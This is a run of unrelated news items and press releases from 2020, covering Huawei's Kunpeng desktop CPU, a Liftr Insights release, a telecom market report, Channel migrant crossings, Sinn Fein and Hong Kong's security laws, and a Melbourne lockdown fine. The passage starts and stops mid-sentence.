sanctions. Next month, the Chinese tech giant will lose access to TSMC's foundry, leaving it without its biggest supplier of chips for its vast portfolio of products. The company has built a stockpile of chips that should last it through the end of 2021, and a new leak (spotted by Gizchina) on Weibo reveals that Huawei is preparing to launch an ARM-based CPU for desktop systems later this year. Back in January 2019, Huawei announced the Kunpeng 920 CPU family for servers, which is now being adapted for use in desktop platforms. These are based on the TaiShan v110 microarchitecture and come with up to 64 ARM v8.2 cores running at up to 3.0 GHz (2.6 GHz base clock), built on a 7 nm process node. Huawei's desktop PC is known internally as Pangu, and will come equipped with up to a 24-core Kunpeng 920 3211K, which is a 60 mm x 75 mm BGA package soldered onto the motherboard. There's support for up to 64 GB of DDR4 RAM running at 3200 MHz, and you have three PCIe 3.0 slots for expansion (one x16 port, one x4, and one x1 port). For storage, there are two M.2 slots and six SATA 3.0 ports. Someone managed to get their hands on a base model, which comes with the eight-core Kunpeng 920 2249K CPU paired with 16 GB of RAM, a 256 GB DTST SSD, and a Yeston RX 550 graphics card. It runs the Unified Operating System (UOS), which is a Linux distribution based on Deepin and developed by Tongxin Software as a replacement for Windows in China. All of it is powered by a 200-watt power supply, but that's not the most surprising part of the report. Apparently, the Kunpeng 920 can surpass Intel's Core i9-9900K in terms of multi-core performance. There's no mention of single-core performance, which could mean that Huawei's CPU isn't particularly good in that department. The eight-core Kunpeng 920 2249K is able to finish the Blender BMW test in 11 minutes and 47 seconds, as opposed to 16 minutes and 45 seconds for the Core i9-9900K. Even so, the range of software that can run on UOS is very limited, and there's no emulation layer for popular x86 software. Overall, the Kunpeng 920 is much better than Zhaoxin's x86 chips, which are lagging behind Intel offerings in every aspect. China is planning to replace all hardware and software in its public institutions by 2022, and Huawei's chips look like the better option. The company could tap into a local foundry like SMIC, which could begin 7 nm production later this year. Traditional market intelligence firms gather data from supply chain surveys to assess specific markets. These firms employ industry analysts with specific industry expertise to try to verify survey data points and fill in supply chain gaps for specific markets. Because surveys are time and people intensive, results are delivered at a quarterly or annual pace. However, supply chains have bypassed traditional distributors as IT and telecommunications service providers buy directly from manufacturers. For example, cloud service providers now account for over half of data center equipment purchases, which are therefore invisible to supply chain surveys. Alternative Data Is Not Enough Investors and hedge funds, some of the largest consumers of alternative data, seek new sources of public data that enable timely insight into company performance and potential impacts on share prices. Alternative data includes satellite and security imagery, smartphone geo-positioning, credit card use and other kinds of standardized transactional data. "Alternative data has a tough time addressing infrastructure markets," explains Paul Teich, Principal Cloud and Semiconductor Expert at Liftr Insights. "Service providers won't divulge the transactional data investors want. That's where hybrid alternative data steps in." Why is Hybrid Alternative Data Different? Some investors might be able to collect or easily purchase public data like alternative data, but most do not have access to subject matter experts (SME) to collect, clean, distill and standardize industry- and company-specific proprietary data. For example, Liftr Insights collects public data about cloud infrastructure directly from cloud service providers. However, there is no incentive for any provider to enable easy comparisons to the others. Liftr Insights uses SME guided algorithms and DevOps processes to reliably automate standardizing cloud service provider data. "Specialized knowledge combined with automated processes enable Liftr Insights to create hybrid alternative data. This combination has differentiated our product since we started collecting public cloud data in 2018," explains Tab Schadt, CEO of Liftr Insights. "Our customers all tell us 'your data is unique'!" About Liftr Insights Liftr Insights, based in Austin, Texas, collects and distills data about internet-enabled infrastructure for hedge fund quants to feed into their investment models. Liftr Insights' data collection is compliant with SEC policies and currently gathers publicly available data about the top four public clouds: Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Google Cloud. Liftr Insights provides a high-level map overlay of service growth and availability for the four tracked cloud service providers at https://bit.ly/LiftrCloudRegionsMap. Liftr and the Liftr logo are registered service marks of Liftr Insights. The following are trademarks and/or service marks of Liftr Insights: Liftr Insights, Liftr Cloud Components Tracker, and Liftr Cloud Regions Map. The following are registered intellectual property marks, trademarks or service marks of their respective companies, along with related icons and logos: Amazon Web Services Microsoft Azure Alibaba Cloud Google Cloud SOURCE Liftr Insights Related Links https://liftrinsights.com DUBLIN, Aug. 11, 2020 /PRNewswire/ -- The "Next Generation Network OSS and BSS Market by Infrastructure, Components, Applications, and Services 2020 - 2025" report has been added to ResearchAndMarkets.com's offering. This report provides the most comprehensive coverage of NGN OSS/BSS including opportunities driven by 5G, Data Analytics, and IoT. The report provides a comprehensive analysis of the drivers and issues related to the technical and business aspects of the next generation OSS BSS market, deployments, and operations issues, and quantitative analysis with forecasts for anticipated growth through 2025 including the following emerging areas: IoT Platforms, OSS and Billing, Data Management 5G Operations Support including Network Slicing Management Mobile Edge Computing including Infrastructure, Apps and Services The report includes specific recommendations for Next Generation Network OSS BSS vendors, CSPs, Enterprise, and infrastructure suppliers for 5G and IoT systems and solutions. Questions answered in the report include: What changes will take place in the OSS/BSS vendor landscape? How will NGN affect current OSS/BSS architecture and modules? How will emerging technologies impact the legacy OSS/BSS systems? How will NGN OSS/BSS systems need to support the Internet of Things (IoT)? What kind of transformation will take place in legacy OSS/BSS to the next generation systems? What will be the implications of NGN OSS/BSS in terms of managing telecom business operations? What are the impacts on managed and cloud services including social media, business intelligence and analytics? The Next Generation Network OSS BSS market provides capabilities that have become an absolute requirement for Communication Service Providers (CSP) of all types including integrated legacy carriers (fixed, wireless, and cable/Internet), Multiple System Operators (MSO) and Over-the-Top (OTT) providers. When we first began coverage of the Next Generation Network OSS BSS market in 2007, it was driven largely by two things: (1) The need to consolidate operational support and billing as well as (2) Prepare for next-generation IP based networks and services. While these are still two very important reasons for CSPs to leverage NGN OSS BSS platforms, there are now many more reasons: Fifth Generation (5G) Cellular: Requirements for Next Generation Network OSS BSS market support for Network Slicing in 5G, both in terms of administration of slice allocations (including SLA) as well as billing for slices and usage. CSPs will also require Next-Gen OSS BSS for support of massive IoT systems enabled by 5G. Internet of Things (IoT): Presenting many issues and opportunities, IoT will require operational support for intermediation between networks and systems. In addition, IoT Billing and Settlement represents a significant near-term growth area for the Next Generation OSS BSS market. Longer-term, IoT Authentication and Authorization and the use of Blockchain will also emerge as a key area reliant upon NGN OSS. Next-Generation Apps and Services: As a result of 5G in particular, there will be many next-generation services, many of which will be highly immersive such as the Virtual Reality market. New business models will emerge for VR and other next-gen apps that will require Next Generation Network OSS BSS support. For example, CSPs will need to support virtual identity as well as bridge the virtual and real worlds with Mixed Reality offerings. These areas will require operational support. Report Benefits: Technical evaluation of OSS and BSS in next-generation networks Identify market potential by service components of OSS/BSS functions Understand the market dynamics regarding legacy vs. next generation Understand the drivers and timing for evolution to next-generation OSS/BSS Understand opportunities for NGN OSS/BSS in support of IoT networks and data Identify companies and their services, products, and solutions for next-generation OSS/BSS Identify emerging technologies, third networks, and standards supporting solutions for next-generation OSS/BSS Recognize the opportunities for next-generation OSS across many different service, solution and product categories Detailed market forecasts for OSS/BSS including IoT Billing, Settlement, Authentication, and Authorization 2020 to 2025 Select Report Findings: The total global NGN OSS/BSS market will reach $64.3B USD by 2025 by 2025 The APAC IoT billing and settlement market alone will reach $1.89B by 2025 by 2025 NGN OSS support for fixed wireless networks will be a $9.65B global opportunity by 2025 global opportunity by 2025 SDN based control of network slicing combined with NGN OSS/BSS has a high ROI and less than a three-year payback period The fastest-growing OSS support area for 5G network slicing will be in the mid-band RF arena with a CAGR of 56.9% through 2025 Over 80% of the market for OSS support of 5G edge computing market in IoT will be on a managed service basis, representing a $3.46B market opportunity Key Topics Covered: 1. Executive Summary 2. Introduction 2.1 What is Next Generation Network? 2.1.1 NGN vs. Existing Networks 2.1.1.1 Packet Network 2.1.1.2 Transport Technologies 2.1.1.3 Independent Technologies 2.1.1.4 Unfettered Access 2.1.1.5 Mobility 2.2 What is NGN OSS BSS? 2.2.1 Legacy OSS BSS vs. Next-Generation OSS BSS 2.3 NGN OSS BSS Market Drivers 2.3.1 Increasing Interests from Telecom Operator and Solution Vendors 2.3.2 Enhanced Performance with Access Technologies 2.3.3 Reduction of Excessive Dependency of Vendor Solution 2.3.4 Positive Impact on Return on Investment 2.4 NGN OSS BSS Market Challenges 2.4.1 Requirement of Large Scale Capital Expenditure to Deploy the Solution 2.4.2 Operational Challenges 2.4.3 Integration of Private Networks and Applications with Public Networks 2.4.4 Disparity between Quality of Service (QoS) 2.4.5 Regulatory Challenges including National Security and Competitive Policies 2.4.6 Carrier Business Models, NGN Challenges, and Role of CSPs 3. Legacy vs. Next Generation OSS and BSS 3.1 NGN OSS BSS 3.1.1 NGN OSS BSS Functions and Components 3.1.2 NGN OSS BSS Architecture 3.2 NGN OSS BSS Stakeholder Roles 3.3 NGN OSS BSS Managed Service Model 3.4 NGN OSS Architecture 3.5 Legacy OSS Architecture 3.5.1 Telecommunication Management Network (TMN) 3.5.1.1 TMN 4-layer Model 3.5.1.2 FCAPS Model 3.5.2 Simple Network Management Protocol (SNMP) 3.5.3 Common Management Information Protocol (CMIP) 3.6 Frameworx 3.6.1 Framework to Integrate Customization Demands 3.6.2 NGOSS Terminology 3.6.3 Technology Neutral Architecture (TNA) 3.7 Core Framework 3.7.1 The Application Framework (TAM) 3.7.2 Business Process Framework 3.7.3 Information Framework (SID) 3.7.4 NGOSS Compliance Tests 3.7.5 The NGOSS Lifecycle 3.7.6 APIs and Interfaces 3.7.7 OSS/J 3.7.8 Middleware 3.7.9 Service delivery platform (SDP) 3.8 Service Oriented Architecture (SOA) 3.8.1 Service Oriented Application Protocol (SOAP) 3.8.2 Web Services (WS) 3.8.3 Extensible Markup Language (XML) 3.8.4 Enterprise Application Integration (EAI) 3.8.5 Enterprise Service Bus (ESB) 3.8.6 Model Driven Architecture (MDA) 3.8.7 Information Technology Infrastructure Library (ITIL) 4. Important Technology Considerations for NGN OSS/BSS 4.1 Fifth Generation (5G) Cellular 4.2 Artificial Intelligence 4.3 Big Data and Telecom Analytics 4.4 Computing Evolution 4.4.1 Cloud Computing 4.4.2 Multi-access Edge Computing (MEC) 4.4.3 Next Generation Computing 4.5 Datacenter Evolution 4.6 Device Evolution 4.6.1 Connected Devices 4.6.2 Embedded Intelligence 4.6.3 Wearable Technology 4.7 Digital Transformation of Smart Infrastructure 4.7.1 Smart Homes 4.7.2 Smart Buildings 4.7.3 Smart Cities 4.7.4 Smart Workplace 4.8 Immersive Technologies 4.8.1 Augmented Reality 4.8.2 Virtual Reality 4.8.3 Mixed Reality 4.8.4 AR, VR, MR, and Big Data 4.8.5 Haptic Internet 4.9 Internet of Things (IoT) and Machine to Machine (M2M) 4.9.1 IoT BSS to Manage Complexity and Monetization 4.9.2 Smart Revenue Sharing Model 4.9.3 IoT OSS BSS Architecture 4.10 Network Operator Infrastructure Evolution 4.10.1 Network Function Virtualization and Software Defined Networks 4.10.2 Carrier Ethernet, Lifecycle Orchestration, and CE 2.0 4.10.3 Wireless Network Evolution 4.10.3.1 Wide Area Network Evolution 4.10.3.2 Low-Power Wide Area Networks 4.10.4 Wireless Network Optimization 4.10.4.1 The Move to Heterogeneous Networks 4.10.4.2 Self Organizing Networks (SON) 4.10.4.3 Next Generation Radio Access Networks 4.11 Service Delivery Evolution 4.11.1 Over the Top (OTT) Service Delivery Model 4.11.2 Programmable Telecom, Open Source, and Telecom APIs 4.12 Solutions for Enterprise and Industrial Segments 4.12.1 Industrial Automation and Robotics 4.12.2 Teleoperation, Digital Twins, and Cloud Robotics 4.13 Technology Convergence 5. NGN OSS/BSS Value Chain Analysis 5.1 Legacy OSS BSS Solutions: A Multi-Vendor Market 5.2 NGN OSS Market: Plug N Play 5.3 NGN ISS BSS M&A Analysis 5.4 NGN OSS BSS Solutions and Offerings 5.4.1 OSS BSS Managed Services 5.4.2 OSS BSS COTS Products 5.4.3 Pure OSS/BSS Vendors 5.4.4 Composite Vendors 5.4.5 Core Strength BSS Vendor 5.4.6 Core Strength OSS Vendor 5.5 Legacy OSS to NGN OSS BSS Transformation 6. NGN OSS/BSS Company and Solution Analysis 7. NGN OSS BSS Market Forecast 2020 - 2025 7.1 Global NGN OSS BSS Market Forecast 2020 - 2025 7.2 Regional NGN OSS BSS Market Forecast 2020 - 2025 8. Conclusions and Recommendations 8.1 Advertisers and Media Companies 8.2 Artificial Intelligence Providers 8.3 Automotive Companies 8.4 Broadband Infrastructure Providers 8.5 Communication Service Providers 8.6 Computing Companies 8.7 Data Analytics Providers 8.8 Equipment (AR, VR, and MR) Providers 8.9 Networking Equipment Providers 8.10 Networking Security Providers 8.11 Semiconductor Companies 8.12 IoT Suppliers and Service Providers 8.13 Software Providers 8.14 OSS BSS Vendors 8.15 Smart City System Integrators 8.16 Automation System Providers 8.17 Social Media Companies 8.18 Workplace Solution Providers 8.19 Enterprises and Governments 9. Appendix One: 5G Network Slicing Market Analysis and Forecasts 10. Appendix Two: 5G IoT Market Analysis and Forecasts 11. Appendix Three: IoT Billing & Settlement Market Analysis and Forecasts 12. Appendix Three: AI, IoT, and Intent-Based Networking Drivers for NGN OSS/BSS Market Growth Companies Mentioned Accedian Accenture Advanced VoIP advantage360 AdvOSS Alcatel-Lucent Amdocs Aricent Aruba Networks ASC technologies Ascom Network Testing AsiaInfo Astellia Avotus Azure Solutions Bill Perfect , Inc. , Inc. BSG Clearing Solutions CBOSS Centina Systems Cerillion Technologies Cherwell Cisco Comarch Comptel Corporation Convergys CSG International CustomCall Data Systems cVidya Digital Route AB Dorado Software Elitecore Technologies Enghouse Networks Ericsson ETI Software Solutions Evolving Systems EXFO Formula Telecom Solutions GE GENBAND H2O by Overgroup Hewlett-Packard Huawei Technologies IBM InfoGix Infovista INOC Intec Intraway Corporation ItsOn Juniper Networks Kapsch CarrierCom Level 3 Communication LogiSense LogNet System Matrixx Software MaxBill MDS MEF MegaSoft Metratech MindCTI Mobinets MycomOSI Nakina Systems Netadmin Systems NetBoss Technologies NetCracker Technology Netformx Neural Technologies NMSWorks Software Nokia Networks Ontology Systems OpenCloud Openet OpenVault Operax Oracle OSSera Overture Networks Peter Service RAD RAO Infosystems Redknee Sandvine SAP SevOne Sicap Sigma Systems Skyline Communications Sonus Networks Spirent Subex SynchronOSS Tail-f Systems Telarix Telco Systems TEOCO TIA UBIqube Ushacomm VAS-X Ventraq (NetPlus) Veryx technologies VPIsystems WebNMS Xalted XINTEC Xura ZIRA Ltd. ZTE Corporation For more information about this report visit https://www.researchandmarkets.com/r/f2iwu3 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com On Mondays The Tonight Show Starring Jimmy Fallon, Bryan Cranston, best known for his roles as Walter White on the critically acclaimed AMC series Breaking Bad and as Hal Wilkerson on the early 2000's sitcom Malcolm in the Middle, addressed a very popular fan theory that Breaking Bad is a prequel to Malcolm in the Middle. According to some fans, Walter White (spoiler alert) survived the series finale and assumed a new identity as Malcolm in the Middle patriarch Hal Wilkerson. So what does Cranston think of this fan-favorite theory? On The Tonight Show, Cranston told Fallon jokingly, "I'm not at liberty to disclose that kind of information without security clearances." Cranston then got serious as he put the theory to rest, stating, "I think it's fun but, you know, it's fun. I don't know. No, Walter White is definitely dead. He's dead, he's dead, he's dead. He's dead." Although, whether or not we can believe Cranston remains to be uncertain the last time the actor was on the late-night talk show, he totally lied about there being a Breaking Bad sequel in the works, which was later revealed as last year's Netflix original film, El Camino: A Breaking Bad Movie. When Fallon called Cranston out on lying to his face, Cranston stated, "Yeah I'm a big fat liar," as he explained that he had actually filmed the movie in Albuquerque, N.M., for two days before appearing on Fallon's show. The Tonight Show Starring Jimmy Fallon airs weeknights at 11:35 p.m. on NBC. Watch Seth Rogen revealing the great (illegal) lengths hell go to in order to make pottery: Read more from Yahoo Entertainment: Tell us what you think! Hit us up on Twitter, Facebook or Instagram. And check out our host, Kylie Mar, on Twitter, Facebook or Instagram. We Leave the Milkweed Standing as a Monument to a Vanishing World Esquire (Re Silc). Speculation & Innovation Investor Amnesia Banks braced as pandemic poses biggest test since financial crisis (free) FT Amazon Is a Private Government. Congress Needs to Step Up. The Atlantic When Will Consumers Feel Safe? Weekly Updates on Consumers Comfort Level With Various Pastimes Morning Consult. Comfort levels stagnate for seventh week in a row. The dogs wont eat the dog food. Mauritius Races To Contain Oil Spill, Protect Coastline Associated Press #COVID19 China? The Koreas Syraqistan UK/EU Brexit New Cold War RussiaGate Ex-Colleagues See Durham Dropping Bombshells Before Labor Day Real Clear Investigation Trump Transition These Executive Orders Make No Sense Benjamin Studebaker Whats wrong with the mail Recode. Good reporting on the details of the USPSs current plight, but seriously under-emphasizes the initial, and bipartisan, act of sabotage: The unique requirement for prefunding pensions, without which the USPS would be profitable (assuming thats important). QAnon groups have millions of members on Facebook, documents show NBC (Furzy Mouse). 2020 American Girl Dolls Attend Mandatory Diversity Training Academy of American Poets Democrats in Disarray Big Brother Is Watching You Watch Health Care How Lessons from Global Health Can Improve Health And The Response To COVID-19 In The US Health Affairss Sports Desk Fencing: The Perfect COVID-19 Sport The Laughing Squid (Re Silc). Black Injustice Tipping Point Sugar Craig Murray Imperial Collapse Watch Could We Force the Universe to Crash? Scientific American Mystery Solved: Bright Areas on Ceres Come From Salty Water Below NASA Contrafreeloading and Cats Egghead (dk). Antidote du Jour (dk): dk writes: After 12 hours this adorable little ham only has 434 likes and 62 retweets, maybe NC could give her/him a boost? See yesterdays Links and Antidote du Jour here. Advertisement The French today agreed an action plan to 'completely cut' migrant crossings and vowed to name a 'commander' to help Britain tackle the growing crisis at crunch talks in Paris. Another four boats carrying around 30 people were picked up by a Border Force vessel this morning as unscrupulous people trafficking gangs continue to reap the profits of calm seas. Following talks with his French counterparts, immigration minister Chris Philp said a strategy to totally sever the route across the Channel had been agreed. 'We are going to be working at pace in the coming days to make that plan a reality,' Mr Philp told Sky News. The newly appointed 'clandestine Channel threat commander', Dan O'Mahoney, joined the minister for the talks and will be returning to France early next week to continue the discussions, Mr Philp added. The minister said: 'I'm also delighted that the French made a commitment to appoint their own commander to take responsibility in this area which is a very important step forward.' 'French authorities are doing a great deal of work. They've intercepted well over a thousand people so far this year. 'But the sheer numbers crossing the Channel are completely unacceptable to the French government and unacceptable to the UK Government so it's quite clear that more needs to be done. 'And that is exactly what this new, comprehensive action plan that we are working on will aim to do. 'And if we can make this route unviable - which we are determined to do - then migrants will have no reason at all to come to France in the first place.' Migrants arrive in Dover this morning, the latest group to make the perilous crossing from Calais to the UK despite growing anger A Border Force ship is dispatched to rescue a migrant boat caught in the Channel this morning, before being brought into harbour At least four migrant boats were spotted in the Channel today, although the exact number making the crossing has yet to be confirmed Migrants were seen arriving in Dover this morning before immigration minister Chris Philp (right) held crunch talks with French officials A map showing the various points along the coast where migrants have landed in the UK this year after crossing from France Migrants, including women, are brought into Dover harbour by the Border Patrol this morning. It is unclear how many made the journey today It is unclear how many arrived in Dover this morning, following days of UK government anger at the numbers crossings Migrants disembark after arriving at Dover harbour this morning, the latest to arrive after days of constant crossings from Calais to the UK Migrants give a thumbs up as they arrive in Dover this morning amid reports of another four boats making the crossing He said would not comment on details of the plan to halt Channel migrants but claimed there were a 'number of measures, some of them new, which are under discussion'. Mr Philp added it would be 'premature' to talk about financial commitments at this stage because the plans were still being developed and finalised. 'Any border is a shared responsibility and the United Kingdom and France today renewed and reaffirmed their absolute commitment to make sure this border is properly policed and this route is completely ended', he said. It comes after today's migrant crossings, with more than 30 intercepted and brought ashore in Dover. Around 13 Sudanese migrants are thought to have been in a single boat, with reports of at least 10 and 15 on others amid ideal weather conditions for the 21-mile crossing. Yesterday, 18 Syrian migrants, including women, landed in one boat on Monday and, so far this year, 4,301 migrants have reached the UK in total. That includes 751 this month alone - rapidly approaching the record 1,118 who arrived in July. Border Force customs cutter HMC Seeker has been active in the Channel in recent days as migrants continue to cross to Britain and has been joined by HMC Protector and patrol boat Hunter. The Seeker has previously been used to patrol the waters around Gibraltar, tackling drug smuggling, but has been called upon several times over the past two years to deal with migrant crossings. Earlier, French officials blamed 'British hypocrisy' and the country's 'black economy' for the growing migrant small boat crisis. While the British government has continually accused the French of not doing enough to intercept small boats packed with migrants, the French claim that the real problems are in the UK. Philippe Mignonet, the deputy mayor of Calais, said: 'Yes, I fear a tragedy one day at sea, but the British blame us for their own hypocrisy. 'The migrants go to Great Britain because they can work in the black economy when they want, because there is no control, not on the street or in the workplace.' Migrants look towards the waiting media and a small group of protesters after crossing the English Channel from France today A Border Force boat carrying migrants arrives at Dover harbour this morning, after another day of multiple crossings from France to the UK Migrants arrive in port aboard a Border Force vessel after being intercepted while crossing the English Channel from France in small boats Women were seen among the migrants arriving today, include around 13 who said they had originally fled from Sudan before crossing the Channel Mr Mignonet's words to the Voix du Nord newspaper were backed up by Bernard Barron, president of the SNSM sea rescue service in Calais. Mr Barron said: 'The British criticise migrants for wanting to come but they do not criticise themselves, questioning the reasons that make their country so attractive. 'The SNSM now observes that the candidates for exile have mastered the sea and, with GPS support, wait until they are in British waters to send out an SOS call'. French officials are particularly angry at 'fantasy claims' by British Home Secretary Priti Patel that they are reluctant to stop small crafts in the Channel. 'This is simply not true,' said a senior government official in Paris, pointing to daily operations by Navy, gendarmerie and other coastal units. On Saturday alone, some 37 African and Iranian nationals were towed back to Calais in their inflatable dinghies by the French. A French Interior Ministry spokesman said: 'For the month of July 2020, we prevented ten times more crossings than in July 2019.' He said 'four times as many boats and other equipment' were also discovered in the sand dunes around Calais and confiscated. In all, there is a sea crossing failure rate of 47 per cent in 2020, compared to 40 per cent in 2019, according to the French. Dozens of migrants made it to the UK today with observers noting the calm seas and good weather making crossing conditions ideal An inflatable boat used by migrants is brought by Border Forces crew at Dover harbour this morning after the migrants were already brought ashore Yesterday, 18 Syrian migrants, including women, landed in one boat on Monday and, so far this year, 4,301 migrants have reached the UK in total It is unclear how many migrants made the crossing today, though Sky News and other observers noted at least four boats France claims that this shows the country is 'fully mobilised' in stopping the migrants getting to Britain, but more money and resources are needed. Mr Philp has argued that France is a safe country and he shares 'the anger and frustration of the public' that migrants do not claim asylum there. He said flights were being planned to send new arrivals back to France, and that more work would be done to tackle people smugglers who charge up to 1000 for a Channel crossing. Britain has already paid more than 100million to help French authorities stop migrants in over the past decade. But more than 500 people have been intercepted crossing the Channel over the past week. They are were all taking advantage of calm seas and good weather to make the journey across one of the world's busiest shipping lanes. It comes after it was revealed that people smugglers are offering migrants 'kids go free deals' while dropping their prices for small-boat Channel crossings. Desperate parents are being told they don't have to pay to carry babies and toddlers as the ruthless smugglers lure them into completing the perilous crossings. In some cases, the gangs have even dropped their prices from 5,000 to 500 in an attempt to encourage more families to cross to Britain from Calais. News of the cut price deals is sure to raise alarms as the British government pledges to tackle the crossings. A law enforcement official commented on the 'special offers', adding that the smugglers will do anything to 'make their profit from misery'. British officials have also been briefed on intelligence showing how the gangs are cutting their prices. A charity worker in northern France told The Sun: 'We've spoken to people intercepted en route to the UK who have told us how babies and infants are getting into dinghies for free. Younger children and teenagers are being allowed on for just a few hundred pounds a time.' A source added: 'The prices these gangmasters charge has dropped a hell of a lot recently. Chris Philp, Britain's immigration minister, can expect a frosty welcome in Paris on Tuesday as he takes part in bilateral talks with French officials to tackle the influx of migrants Priti Patel will today demand French co-operation in a massive new 'blockade' of the Channel to crack down on the migrant crisis Boris Johnson yesterday branded the Channel crossings a 'very bad and stupid and dangerous and criminal thing to do' 'They are also tempting people by saying if you get stopped you can try again and again until you do cross.' The latest revelations also highlight the horrifying lengths migrants are going to in an attempt to avoid deportation. A source said that some are arriving with burnt or shaved off fingerprints, while carrying no ID, which make it impossible to determine who they are or where they come from. It comes amid a crackdown on the migrant crossings from the British government. Priti Patel will today demand French co-operation in a massive new 'blockade' of the Channel to crack down on the migrant crisis. The Home Secretary will refuse to hand over any more taxpayers' money to fund operations on French soil unless Emmanuel Macron's government steps up action on illegal crossings. The French will also be expected to accept deportations of larger numbers of migrants who cross illegally, as well as failed asylum seekers, as part of a potential 30million deal. Boris Johnson branded the Channel crossings a 'very bad and stupid and dangerous and criminal thing to do' as he hinted at changing laws to tackle the deepening crisis. A tiny baby was spotted arriving in Dover with its family last week after crossing the Channel in a dinghy - carried in what appears to be a gym bag A Border Force official brings a child to land after vessels crossed from Calais to the UK yesterday Home Secretary Priti Patel headed to Dover yesterday, and was seen disembarking from a police boat that had been out in the Channel earlier that morning The PM said the UK needed to 'look at the legal framework' for migrants who have arrived in the UK illegally, adding it was 'very, very difficult to then send them away again.' In the last five years the UK has given France 114million to fund operations against illegal migrants and people traffickers. But numbers are spiralling, with more than 4,300 arriving so far this year compared to 1,850 in all of 2019. Yesterday British military assets were deployed for the first time to tackle the flow of small boats, with an RAF aircraft carrying out a surveillance flight. Miss Patel also boarded a police launch from Dover to witness operations. 'The number of illegal small boat crossings we have seen recently is totally unacceptable,' she said. 'Our operational partners are dealing with complex challenges associated with them and collectively with the French we need to make this route unviable. 'Across Government we are absolutely committed to shutting down this route and we will bring down the criminal gangs that facilitate these illegal crossings.' SINN FEIN is facing calls to clarify its position on Hong Kongs controversial security laws after the partys deputy leader, Michelle ONeill, reportedly endorsed them in a recent video call with a Chinese government representative in Belfast. Ms ONeill, who is the Norths Deputy First Minister, and First Minister Arlene Foster were criticised on Tuesday after they reportedly said they understand and respect security laws introduced in Hong Kong during a video call with Chinese Consul General Zhang Meifang. The Chinese-backed security laws have drawn widespread international condemnation and sparked protests in the territory in recent weeks. Read More The Irish News reported on the Chinese governments account of the video call between the two senior Stormont ministers and Ms Zhang on Tuesday. After initially not disputing the consulates account in two separate statements, a spokesperson for the Northern Executive Office eventually stated: The consulates report does not reflect ministers positions on Hong Kong security legislation, nor their comments at a recent courtesy meeting with the Chinese Consul General. As these matters are not devolved, ministers stated their awareness of the issues and their hope that the matter could be resolved. This came after Ms Foster tweeted to say her position was that of the UK government and she would be writing to Ms Zhang to underscore my disappointment with the consulate's account. Ms ONeill also tweeted, saying she made it "very clear" in the meeting "that I supported the One Country, Two Systems international agreement". However, it is unclear whether Ms ONeill will co-sign the letter being drafted by officials at Stormont. A DUP spokesman said it was a matter for Ms ONeill, while Sinn Fein did not respond to further queries on the matter. Fine Gael TD Neale Richmond said the reported comments were worrying and Ms ONeill and Sinn Fein needed to clarify their position on the new laws. The situation in Hong Kong is extremely serious. While it is welcome that Ms ONeill stressed her support for One Country, Two Systems, did she raise concerns over the introduction of draconian security laws? Did she speak for the many Irish caught up in the chaos of Hong Kong? Does she agree that these new security laws need to be halted? Under an international treaty signed in 1997, China guaranteed Hong Kong residents civil liberties as well as judicial and legislative autonomy for 50 years, a formula known as One Country, Two Systems. China argues the new security laws are in line with the treaty, but the British government disputes this, while Irelands Foreign Affairs Minister Simon Coveney said the laws risk undermining Hong Kongs autonomy. Under the new laws, introduced unilaterally on June 30, certain political views and symbols including showing support for Hong Kong, Taiwan, Xinjiang and Tibet independence - are effectively illegal. Mr Richmond pointed out that Sinn Fein was not a signatory to a recent letter authored by former Hong Kong governor Chris Patten condemning the legislation. A man is refusing to pay his $1652 coronavirus fine after being pulled over by police while returning home from Melbourne to visit his elderly mother confined to her home during the city's Stage 4 lockdown. Joe insists he didn't break the law when he travelled 41 kilometres from his Bacchus Marsh home to check on his ailing mum, 84, in Melbourne on Sunday. As he lives in a Stage 3 lockdown region where residents can still travel for care and compassionate reasons, he was shocked to be pulled over and fined on the Western Freeway at Melton, 15 minutes away from home. The infringement notice states he breached COVID-19 Stage 4 restrictions enforced in metropolitan Melbourne, which has divided public opinion online. Police are cracking down on anyone breaching lockdown restrictions in Victoria. Pictured are officers patrolling the Melbourne CBD on Sunday 'A bit hard to understand the law when Vic Police has no f***** idea,' Joe captioned a photo of the fine on Facebook. 'Just got a $1652 fine for caring for my 84-year-old mother. Was asked if I was a doctor. I was fined for breaching stage 4 restrictions and told you should know living in stage 4, l explained I am not living in stage 4, was told everyone is in Stage 4, the whole state of Victoria.' 'Don't know what they were thinking.' Joe (surname withheld) told Daily Mail Australia he plans to challenge to the fine after getting advice from officers at the local police station. But he has been put off from visiting his mum in Sunshine while Stage 4 restrictions remain in place. 'I went to see my mum, who's been struggling mentally as she's been confined to her home for the last six months,' Joe said. 'She doesn't have a car and she can't go anywhere, so she relies a lot on my sister and I.' 'I thought I was doing the right thing.' Joe says he's been advised by police at his local station to challenge the fine (pictured) Bacchus Marsh is regarded as regional Victoria, which has been in stage three lockdown since August 5. Poll Should Joe have been fined for visiting his elderly mother during lockdown? Yes No Should Joe have been fined for visiting his elderly mother during lockdown? Yes 37 votes No 201 votes Now share your opinion 'You must not travel into metropolitan Melbourne except for permitted work purposes, care and compassionate reasons or shopping for food and supplies,' the Department of Health and Human Services website states. The website add that stricter Stage 4 restrictions apply 'if you live in metropolitan Melbourne', which includes shopping and exercising within a five kilometre radius of your home. Joe insists he had a valid reason for being in Melbourne and claims he was told by police back home in Bacchus Marsh to not pay the fine. 'Police need to use common sense when issuing fines,' he told Daily Mail Australia. 'We should have the right to check on elderly family members.' Officers in this police car (pictured) pulled Joe over on the Western Highway at Melton Joe's Facebook post has since garnered 500 shares but has divided public opinion. Many praised Joe for standing up his rights. '100 per cent you need to contest it, they will throw it out of court,' one man commented. But some agreed with the fine because Joe was travelling in a stage four lockdown area. 'Theres strict protocols in place and neglect is no excuse. I pity the fact that you have copped the ticket but take some responsibility here and not point fingers at those on the frontline,' one man wrote. One woman added: 'Let's hope common sense prevails before then.' Another added: 'Its pretty bloody simple. You cant dive from a stage 3 area into a stage 4 area and back again. You havent got a leg to stand on. You broke the law.' Melburnians have had their movements restricted by draconian Stage 4 restrictions. Pictured are officers patrolling a usually busy Flinders Street station last Saturday night A Victoria Police spokeswoman said officers 'actively review every fine to access whether they have been appropriately issued.' 'The standard procedural fairness process applies to those who receive fines under the chief health officer's stay-at-home directions. Individuals can make applications to have a matter reviewed and if they are 